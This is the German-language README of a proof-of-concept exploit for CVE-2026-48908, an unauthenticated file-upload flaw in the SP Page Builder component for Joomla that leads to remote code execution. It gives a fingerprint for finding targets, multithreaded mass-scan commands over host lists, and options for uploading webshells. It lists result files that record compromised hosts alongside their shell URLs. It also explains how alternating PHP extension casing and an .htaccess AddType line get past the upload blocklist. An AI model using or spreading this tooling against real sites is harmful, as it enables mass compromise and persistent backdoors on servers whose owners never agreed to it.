
Nicht authentifizierter RCE-PoC für CVE-2026-48908: Exploit für beliebigen Datei-Upload und Remote-Codeausführung im SP Page Builder (Joomla) mit Unterstützung für Massen-Scans.
SP Page Builder (com_sppagebuilder) für Joomla ≤ 6.6.1 erlaubt nicht authentifizierten Angreifern, beliebige Dateien hochzuladen und Remote Code Execution zu erreichen.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (Fehlerhafte Zugriffskontrolle) |
| Komponente | SP Page Builder (com_sppagebuilder) |
| Betroffen | 1.0.0 – 6.6.1 |
| Behoben in | 6.6.2 |
| Berechtigungen | Keine (vor Authentifizierung) |
| Benutzerinteraktion | Keine |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # nur testen, kein Befehl
python3 exploit_poc.py https://target.example --token abc123 # benutzerdefinierter Token
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 parallele Threads
python3 exploit_poc.py --hosts ips.txt --no-verbose # leiser Modus
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
Hinweis: Bei Verwendung von
--shell-filelädt das Skript nur die Webshell hoch und meldet die URL. Es führt nicht den-c-Befehl aus oder führt einen Ausführungstest durch. Die hochgeladene Shell muss die Befehlseingabe unabhängig verarbeiten.
| Flagge | Beschreibung |
|---|---|
url | Ziel-URL (positional oder --url) |
--hosts <datei> | Datei mit einem Host pro Zeile |
-c, --cmd <befehl> | Auszuführender Befehl (Standard: id) |
--check | Nur testen, keinen Befehl ausführen |
--token <token> | Geheimnis, das die hochgeladene Shell schützt (Standard: zufällig) |
--shell-file <pfad> | Eine benutzerdefinierte PHP-Webshell anstelle der integrierten hochladen |
-j, --threads <n> | Parallele Threads für Massenscan (Standard: 10) |
--no-verbose | Ausführliche Ausgabe pro Host unterdrücken |



Nach einem Scan werden drei Ergebnisdateien gespeichert:
| Datei | Inhalt |
|---|---|
vulnerable_hosts.txt | Hosts mit bestätigtem RCE + Webshell-URLs |
not_vulnerable_hosts.txt | Hosts, die gepatcht oder nicht vorhanden sind |
partial_vulnerable_hosts.txt | Hosts mit Datei-Schreibzugriff, aber ohne PHP-Ausführung |
custom_shell_hosts.txt | Hosts mit hochgeladener benutzerdefinierter Shell, gruppiert nach Basis-URL (nur generiert bei Verwendung von --shell-file) |
scan_results.json | Vollständige JSON-Ergebnisse für alle Hosts |
Der Exploit missbraucht die com_sppagebuilder-Aufgabe asset.uploadCustomIcon:
/media/com_sppagebuilder/assets/iconfont/<name>/fonts/.Das Skript probiert mehrere PHP-Erweiterungen (.php, .PHP, .pHp, .Php, .pht, .phtml usw.), bis eine gefunden wird, die ausgeführt wird.
Wenn direkte PHP-Erweiterungen durch den SPPB-Filter blockiert werden, legt das Skript eine .htaccess-Datei neben der Nutzlast ab:
AddType application/x-httpd-php .PHP
Dies zwingt den Webserver, .PHP (großgeschrieben) als PHP zu behandeln – und umgeht damit die case-sensitve Blockliste von SPPB. Erfordert aktiviertes AllowOverride und PHP-Ausführung im /media-Verzeichnis.
Hinweis: Die Umgehung mit
.htaccess+ großgeschriebenem.PHPfunktioniert möglicherweise nicht auf allen Konfigurationen. Wenn dies fehlschlägt, versuchen Sie stattdessen.png- oder.jpeg-Erweiterungen. Auf Servern mit deaktiviertemAllowOverrideoder blockierter PHP-Ausführung in/mediawerden selbst hochgeladene Shells nicht ausgeführt (als 'nur Schreibzugriff' gemeldet).
Dieser PoC basiert auf https://github.com/papageo75/CVE-2026-48908-PoC/ mit den folgenden Ergänzungen:
Einige Serverantworten können Nicht-JSON-Präfixe enthalten (z. B. Cron-Ausdrücke oder andere Abfälle) vor der eigentlichen JSON-Nutzlast. Der ursprüngliche PoC würde bei der Analyse solcher Antworten mit r.json() abstürzen. Diese Version sucht nach dem ersten {-Zeichen und versucht, den JSON-Teilstring zu dekodieren:
Vorher:
try:
data = r.json()
except ValueError:
return None
Nachher:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
Beispiel – gültige JSON-Antwort:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Beispiel – Nicht-JSON-Antwort (Präfix-Müll vor JSON):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Fügt mehrthreadige Massenscan-Fähigkeit hinzu:
--hosts <datei> — Ziele aus einer Datei laden (eines pro Zeile)-j, --threads <n> — Parallele Thread-Anzahl festlegen (Standard: 10)--no-verbose — Ausführliche Ausgabe pro Host unterdrücken.txt-Dateien speichernOption --shell-file <pfad> hinzugefügt, um eine benutzerdefinierte PHP-Webshell anstelle der integrierten token-geschützten Shell hochzuladen. Bei Verwendung dieser Option:
-c-Befehle auszuführenrun()) durchgeführtcustom_shell_hosts.txt gespeichertNUR FÜR AUTORISIERTE NUTZUNG. Nur für zugelassene Penetrationstests, CTFs und Laborziele. Sie sind allein dafür verantwortlich, wie Sie dieses Tool einsetzen.